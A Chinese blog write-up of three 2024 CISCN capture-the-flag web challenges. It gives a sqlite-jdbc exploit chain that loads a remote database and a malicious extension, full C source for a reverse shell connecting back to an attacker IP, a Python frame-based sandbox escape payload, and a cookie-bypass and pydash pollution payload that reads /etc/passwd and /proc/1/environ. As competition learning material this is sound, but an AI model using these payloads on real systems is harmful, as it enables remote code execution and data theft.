• 2024 CISCN WEB 部分wp


    前言

    第二天的revenge真是绷不住,出的很好,下次多出点revenge。

    ezjava

    简要介绍

    sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子

    原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行

    image

    url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

    攻击流程

    第一步打入恶意so文件的缓存文件

    image

    第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句

    第三步打入恶意sqlite db文件的缓存文件

    image

    第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件

    image

    上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true ,也就开启了load_extension功能。

    给个恶意so文件生成c代码:

    /* Add your header comment here */
    #include  /* Do not use ! */
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    SQLITE_EXTENSION_INIT1
    
    /* Insert your extension code here */
    int tcp_port = port;
    char *ip = "ip";
    
    #ifdef _WIN32
    __declspec(dllexport)
    #endif
    
    int sqlite3_extension_init(
      sqlite3 *db, 
      char **pzErrMsg, 
      const sqlite3_api_routines *pApi
    ){
      int rc = SQLITE_OK;
      SQLITE_EXTENSION_INIT2(pApi);
    
      int fd;
      if ( fork() <= 0){
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(tcp_port);
        addr.sin_addr.s_addr = inet_addr(ip);
    
        fd = socket(AF_INET, SOCK_STREAM, 0);
        if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
                exit(0);
        }
    
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        execve("/bin/bash", 0LL, 0LL);
    }
    
      return rc;
    }
    

    以上4步就是完整的攻击流程了

    mossfern

    python栈帧沙箱逃逸,研究的好高端...根本没见过,等有空了开篇文章学习一下,可以先参考这篇文章:https://xz.aliyun.com/t/13635

    这里就是栈帧逃逸出globals,在字段co_consts中获取到flag

    import json
    payload = '''def getflag():
        def f():
            yield g.gi_frame.f_back
        g = f()
        frame=[x for x in g][0]
        gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']  
        code = frame.f_back.f_back.f_back.f_code 
        gattr_dir = gattr.dir
        s  = gattr.str
        print(gattr_dir(code))
        for i in s(code.co_consts):
            print(i,end=",")
    getflag()'''
    
    data = {
        "code": payload
    }
    print(json.dumps(data))
    
    

    image

    sanic

    python原型链污染,当时卡死在第一步了,真是丢人,要求cookie中传入的user=adm;n,我们都知道分号;在cookie中是起分割作用的,所以肯定是不能直接传的,所以理所当然的会想到编码,当时试了unicode编码,十六进制都失败了,谁能想到是用8进制绕过..,user="adm\073n"

    image

    接下来就是很简单的原型链污染了,有个简单的waf,就是key中不能有__. 用\\绕过即可

    {"key": "__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"},为什么要这么绕过

    image

    跟进pydash.set_ 注意这个RE_PATH_KEY_DELIM.split ,按\\\\ 分割写入keys,跟默认的没有\\\\ 是一样的效果,所以并不影响最终的keys

    这里我开的是ctfshow的环境,读/proc/1/environ拿到flag

    总结

    菜就多练...


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18208215
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    加密行业焦点:本周五,关注灰度GBTC转型是否有解?
    为什么要写单测
    【redis】Spring之RedisTemplate配置与使用
    C++入门3——类与对象2(类的6个默认成员函数)
    基于微信小程序的自习室预约系统设计与实现-计算机毕业设计源码+LW文档
    《FORTRAN语法:章节篇》第1章 数据类型
    使用项目管理系统优化公众号文章排期
    【Leetcode周赛306】6148、6149、6150、6151
    java-php-python-ssm智能化管理的仓库管理计算机毕业设计
    八股文第八天
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18208215